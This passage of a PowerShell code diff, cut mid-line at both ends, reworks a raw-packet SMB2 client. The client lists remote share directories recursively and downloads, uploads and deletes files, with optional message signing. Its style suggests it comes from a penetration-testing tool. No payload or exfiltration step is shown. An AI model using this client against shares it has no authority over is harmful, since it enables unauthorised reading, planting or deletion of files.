-Wrap| Out-String).Trim() + $create_response_file_index = 152 + $directory_list.RemoveAt(0) > $null } else { - $directory_contents_hide_headers = $true - ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, - @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, - @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, - @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim() + $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154 } - } - else - { - $directory_contents_output - } + do + { + $SMB_next_offset = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0) + $SMB_file_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0) + $SMB_file_attributes = [Convert]::ToString($client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0') - $subdirectory_list.Reverse() > $null + if($SMB_file_length -eq 0) + { + $SMB_file_length = $null + } - ForEach($subdirectory in $subdirectory_list) - { - $directory_list.Insert(0,($root_directory + $subdirectory)) > $null - } - - $SMB_offset = 0 - $SMB_client_stage = 'CloseRequest' - } - - 'FindRequest' - { - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2_header["SMB2Header_NextCommand"] = 0x68,0x00,0x00,0x00 + if($SMB_file_attributes.Substring(11,1) -eq '1') + { + $SMB_file_mode = "d" + } + else + { + $SMB_file_mode = "-" + } - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + if($SMB_file_attributes.Substring(10,1) -eq '1') + { + $SMB_file_mode+= "a" + } + else + { + $SMB_file_mode+= "-" + } - $packet_SMB2_data = Get-PacketSMB2FindRequestFile $SMB_file_ID 0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + if($SMB_file_attributes.Substring(15,1) -eq '1') + { + $SMB_file_mode+= "r" + } + else + { + $SMB_file_mode+= "-" + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if($SMB_file_attributes.Substring(14,1) -eq '1') + { + $SMB_file_mode+= "h" + } + else + { + $SMB_file_mode+= "-" + } - $SMB2_message_ID++ - $packet_SMB2b_header = Get-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2b_header["SMB2Header_ProcessID"] = $process_ID_bytes + if($SMB_file_attributes.Substring(13,1) -eq '1') + { + $SMB_file_mode+= "s" + } + else + { + $SMB_file_mode+= "-" + } - if($SMB_signing) - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["SMB2Header_Flags"] = 0x04,0x00,0x00,0x00 - } + $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0)) + $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt' + $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0)) + $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt' + $SMB_filename_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0) + $SMB_filename_unicode = $client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)] + $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode) + $SMB_filename = $SMB_filename -replace "-00","" - $packet_SMB2b_data = Get-PacketSMB2FindRequestFile $SMB_file_ID - $packet_SMB2b_data["SMB2FindRequestFile_OutputBufferLength"] = 0x80,0x00,0x00,0x00 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_filename.Length -gt 2) + { + $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length) + } + else + { + $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16) + } - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } + if(!$Modify) + { + $file_last_write_time = $file_last_write_time.PadLeft(19,0) + [String]$SMB_file_length = $SMB_file_length + $SMB_file_length = $SMB_file_length.PadLeft(15,0) + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($SMB_file_attributes.Substring(11,1) -eq '1') + { - if($Action -eq 'Get' -and $action_step -eq 1) - { - $find_response = [System.BitConverter]::ToString($SMB_client_receive) - $find_response = $find_response -replace "-","" - $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file)) - $file_unicode = $file_unicode -replace "-","" - $file_size_index = $find_response.IndexOf($file_unicode) - 128 - $file_size = [System.BitConverter]::ToUInt32($SMB_client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0) - $action_step++ - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' + if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..') + { + $subdirectory_list.Add($SMB_filename_unicode) > $null + $directory_contents_name_list.Add($SMB_filename_extract) > $null + $directory_contents_mode_list.Add($SMB_file_mode) > $null + $directory_contents_length_list.Add($SMB_file_length) > $null + $directory_contents_last_write_time_list.Add($file_last_write_time) > $null + $directory_contents_create_time_list.Add($file_create_time) > $null + } - if($share_subdirectory -eq $file) - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($file) - } - else - { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + } + else + { + $directory_contents_name_list.Add($SMB_filename_extract) > $null + $directory_contents_mode_list.Add($SMB_file_mode) > $null + $directory_contents_length_list.Add($SMB_file_length) > $null + $directory_contents_last_write_time_list.Add($file_last_write_time) > $null + $directory_contents_create_time_list.Add($file_create_time) > $null + } + + if($share_subdirectory -and !$share_subdirectory_start) + { + $root_directory_string = $share_subdirectory + '\' + } + + $SMB_offset += $SMB_next_offset } + until($SMB_next_offset -eq 0) - } - else - { - $SMB_client_stage = 'ParseDirectoryContents' - } + if($directory_contents_name_list) + { - } - - 'CloseRequest' - { + if($root_directory_string) + { + $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1) + } + else + { + $file_directory = $target_share + } - if(!$SMB_file_ID) - { - $SMB_file_ID = $SMB_client_receive[132..147] - } + } - $SMB2_message_ID ++ - $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $directory_contents_output = @() + $i = 0 - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + ForEach($directory in $directory_contents_name_list) + { + $directory_object = New-Object PSObject + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i]) + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i] + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i] - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_file_ID = '' + if($Modify) + { + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i] + } - if($directory_list.Count -gt 0 -and $Action -eq 'Recurse') - { - $SMB2_file = $directory_list[0] - $root_directory = $SMB2_file + 0x5c,0x00 - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i] + $directory_contents_output += $directory_object + $i++ + } - if($root_directory.Count -gt 2) + if($directory_contents_output -and !$Modify) { - $root_directory_extract = [System.BitConverter]::ToString($root_directory) - $root_directory_extract = $root_directory_extract -replace "-00","" - if($root_directory.Length -gt 2) + if($directory_contents_hide_headers) { - $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length) + ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, + @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, + @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, + @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders -Wrap| Out-String).Trim() } else { - $root_directory_string = [Char][System.Convert]::ToInt16($SMB2_file,16) + $directory_contents_hide_headers = $true + ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, + @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, + @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, + @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim() } } + else + { + $directory_contents_output + } + + $subdirectory_list.Reverse() > $null + ForEach($subdirectory in $subdirectory_list) + { + $directory_list.Insert(0,($root_directory + $subdirectory)) > $null + } + + $SMB_offset = 0 + $stage = 'CloseRequest' } - elseif($Action -eq 'Get' -and $action_step -eq 1) + + 'QueryInfoRequest' { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_header["NextCommand"] = $header_next_command + $packet_SMB2_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 $query_info_request_input_buffer_offset_1 $file_ID $query_info_request_buffer_1 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - if($share_subdirectory -eq $source_file) + if($SMB_signing) { - $SMB2_file = "" + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 } else { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 } - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' - } - elseif($Action -eq 'Delete') - { - - switch($action_step) + $packet_SMB2b_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $file_ID $query_info_request_buffer_2 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($share_subdirectory_start) + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $root_directory = $file + 0x5c,0x00 + $create_request_extra_info = 1 + $stage = 'CreateRequest' + } + elseif($Action -eq 'Get') { - 0 + switch($action_step) { - if($share_subdirectory -eq $source_file) + 5 { - $SMB2_file = "" + $query_info_response = [System.BitConverter]::ToString($client_receive) + $query_info_response = $query_info_response -replace "-","" + $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170 + $file_stream_size = [System.BitConverter]::ToUInt32($client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0) + $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536) + $file_stream_size_remainder = $file_stream_size % 65536 + $percent_complete = $file_stream_size_quotient + + if($file_stream_size_remainder -ne 0) + { + $percent_complete++ + } + + if($file_stream_size -lt 1024) + { + $progress_file_size = "" + $file_stream_size + "B" + } + elseif($file_stream_size -lt 1024000) + { + $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB" + } + else + { + $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB" + } + + $header_next_command = 0x70,0x00,0x00,0x00 + $query_info_request_info_type_1 = 0x02 + $query_info_request_file_info_class_1 = 0x01 + $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_1 = 0x00,0x00 + $query_info_request_buffer_1 = 8 + $query_info_request_info_type_2 = 0x02 + $query_info_request_file_info_class_2 = 0x05 + $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 + $query_info_request_input_buffer_offset_2 = 0x00,0x00 + $query_info_request_buffer_2 = 1 + $action_step++ + $stage = 'QueryInfoRequest' } - else + + 6 { - $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) - } - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' - $action_step++ + if($file_stream_size -lt 65536) + { + $read_request_length = $file_stream_size + } + else + { + $read_request_length = 65536 + } + + $read_request_offset = 0 + $read_request_step = 1 + $action_step++ + $stage = 'ReadRequest' + } } + } + elseif($Action -eq 'Put') + { + $percent_complete = $source_file_size_quotient - 1 + if($source_file_size_remainder -ne 0) { - $SMB_client_stage = 'CreateRequestFindRequest' + $percent_complete++ } - 3 + if($source_file_size -lt 1024) + { + $progress_file_size = "" + $source_file_size + "B" + } + elseif($source_file_size -lt 1024000) { - $SMB_client_stage = 'TreeDisconnect' + $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB" + } + else + { + $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB" } + $action_step++ + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x14 + $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size) + $stage = 'SetInfoRequest' + } + elseif($Action -eq 'Delete') + { + $stage = 'CreateRequest' + } + else + { + $stage = 'CreateRequestFindRequest' } } - elseif($share_subdirectory_start) - { - $share_subdirectory_start = $false - $SMB_client_stage = 'CreateRequestFindRequest' - } - else - { - $SMB_client_stage = 'TreeDisconnect' - } - } - - 'ReadRequest' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x01,0x00 - - if($SMB_signing) + 'ReadRequest' { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2ReadRequest $read_request_length $read_request_offset $file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $packet_SMB2_data = Get-PacketSMB2ReadRequest $read_request_length $read_request_offset $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + Start-Sleep -m 5 - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - Start-Sleep -m 5 + if($read_request_length -eq 65536) + { + $i = 0 - if($read_request_length -eq 65536) - { - $i = 0 + while($client.Available -lt 8192 -and $i -lt 10) + { + Start-Sleep -m $Sleep + $i++ + } - while($SMB_client.Available -lt 8192 -and $i -lt 10) + } + else { Start-Sleep -m $Sleep - $i++ } + + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - } - else - { - Start-Sleep -m $Sleep - } - - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($Action -eq 'Get' -and $action_step -eq 3) + { + $action_step++ + $create_request_extra_info = 1 + $stage = 'CreateRequest' + } + elseif($Action -eq 'Get' -and $action_step -eq 7) + { + + if(!$NoProgress) + { + $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100) + Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + } + + $file_bytes = $client_receive[84..($read_request_length + 83)] + + if(!$Modify) + { + + if(!$file_write) + { + $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read' + } + + $file_write.Write($file_bytes,0,$file_bytes.Count) + } + else + { + $file_memory.AddRange($file_bytes) + } + + if($read_request_step -lt $file_stream_size_quotient) + { + $read_request_offset+=65536 + $read_request_step++ + $stage = 'ReadRequest' + } + elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0) + { + $read_request_length = $file_stream_size_remainder + $read_request_offset+=65536 + $read_request_step++ + $stage = 'ReadRequest' + } + else + { + + if(!$Modify) + { + $file_write.Close() + } + else + { + [Byte[]]$file_memory = $file_memory + ,$file_memory + } + + $output_message = "[+] File downloaded" + $stage = 'CloseRequest' + } + + } + elseif([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = 'CloseRequest' + } + else + { + $stage = 'CloseRequest' + } - if($Action -eq 'Get' -and $action_step -eq 3) - { - $action_step++ - $create_request_extra_info = 1 - $SMB_client_stage = 'CreateRequest' } - elseif($Action -eq 'Get' -and $action_step -eq 7) + + 'SetInfoRequest' { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $file_ID $set_info_request_buffer + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if(!$NoProgress) + if($SMB_signing) { - $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100) - Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $file_bytes = $SMB_client_receive[84..($read_request_length + 83)] - - if(!$Modify) + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($source_file_size -le 65536) + { + $write_request_length = $source_file_size + } + else { + $write_request_length = 65536 + } - if(!$file_write) - { - $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read' - } + $write_request_offset = 0 + $write_request_step = 1 - $file_write.Write($file_bytes,0,$file_bytes.Count) + if($Action -eq 'Delete') + { + $output_message = "[+] File deleted" + $stage = 'CloseRequest' + $action_step++ + } + elseif($Action -eq 'Put' -and $action_step -eq 4) + { + $output_message = "[+] File uploaded" + $stage = 'CloseRequest' } else { - $file_memory.AddRange($file_bytes) + $stage = 'WriteRequest' + } + + } + + 'TreeConnect' + { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - if($read_request_step -lt $file_stream_size_quotient) + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try { - $read_request_offset+=65536 - $read_request_step++ - $SMB_client_stage = 'ReadRequest' + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null } - elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0) + catch { - $read_request_length = $file_stream_size_remainder - $read_request_offset+=65536 - $read_request_step++ - $SMB_client_stage = 'ReadRequest' + Write-Output "[-] Session connection is closed" + $stage = 'Exit' } - else + + if($stage -ne 'Exit') { - if(!$Modify) + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') + { + $error_code = [System.BitConverter]::ToString($client_receive[12..15]) + + switch($error_code) + { + + 'cc-00-00-c0' + { + $output_message = "[-] Share not found" + $stage = 'Exit' + } + + '22-00-00-c0' + { + $output_message = "[-] Access denied" + $stage = 'Exit' + } + + default + { + $error_code = $error_code -replace "-","" + $output_message = "[-] Tree connect error code 0x$error_code" + $stage = 'Exit' + } + + } + + } + elseif($refresh) { - $file_write.Close() + Write-Output "[+] Session refreshed" + $stage = 'Exit' } - else + elseif(!$SMB_IPC) { - $file_memory.ToArray() + $SMB_share_path = "\\" + $Target + "\" + $Share + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path) + $SMB_IPC = $true + $stage = 'IoctlRequest' + $file = "" } + else + { - $output_message = "File downloaded" - $SMB_client_stage = 'CloseRequest' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = 'CloseRequest' - } - else - { - $SMB_client_stage = 'CloseRequest' - } + if($Action -eq 'Put') + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $create_request_extra_info = 2 + } + else + { + $create_request_extra_info = 1 + } - } + $tree_ID = $client_receive[40..43] + $stage = 'CreateRequest' - 'WriteRequest' - { + if($Action -eq 'Get') + { + $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + } - if(!$Modify) - { - $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null - $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null - } - else - { - $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)] - } + } + + } - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x01,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 } - - $packet_SMB2_data = Get-PacketSMB2WriteRequest $write_request_length $write_request_offset $SMB_file_ID $source_file_buffer - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($SMB_signing) + 'TreeDisconnect' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > 